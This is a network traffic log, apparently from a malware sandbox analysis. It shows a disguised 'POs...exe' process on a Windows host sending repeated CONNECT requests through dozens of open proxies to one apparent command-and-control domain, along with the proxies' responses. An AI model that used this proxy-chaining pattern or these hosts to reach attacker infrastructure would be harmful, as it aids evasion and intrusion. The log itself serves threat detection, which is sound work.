Mar 11, 2024 16:42:24.844974995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.875009060 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.11	51479	151.236.39.7	58266	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.793946981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.876199961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.11	52319	34.87.84.105	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.794441938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688607931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876307964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985743999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.173254967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.282809973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485908031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.563283920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.436825991 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:50 GMT Server: Apache Content-Length: 532 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 69 74 75 6b 40 6d 79 63 61 73 68 62 61 63 6b 2e 63 6f 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at pituk@mycashback.co to inform them of the time this e
Mar 11, 2024 16:42:50.436866045 CET	172	IN	Data Raw: 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 Data Ascii: rror occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.11	52352	221.153.92.39	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.906444073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.11	52286	103.49.202.252	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.906548977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.11	50164	162.241.53.72	57364	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.906883955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.032732010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.058729887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142446041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.141799927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.172843933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.11	52285	212.108.145.195	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.909356117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.11	51417	120.77.148.138	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.909543037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.283282995 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 38 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314088"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.11	50171	189.240.60.163	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.912029028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.195111990 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.11	51410	175.29.174.242	10800	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.912050962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.11	52351	218.252.244.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913189888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.11	52347	68.169.60.220	8380	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913227081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.11	52437	104.16.109.143	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913448095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.067683935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.11	51465	212.127.93.185	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913453102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.11	52350	116.118.98.21	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913834095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.11	52417	72.210.252.137	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.913966894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.11	52287	116.199.168.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.914374113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.11	52455	104.16.221.57	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.916563034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.070885897 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.11	52360	194.247.173.17	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.917983055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.11	52404	147.75.92.244	9401	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.918428898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.195277929 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.11	52376	61.92.189.15	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.923024893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.235471964 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.11	52438	192.163.200.93	18646	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.924388885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.438745975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.11	52366	192.162.232.15	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.924597979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.11	52477	172.67.181.20	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.927952051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
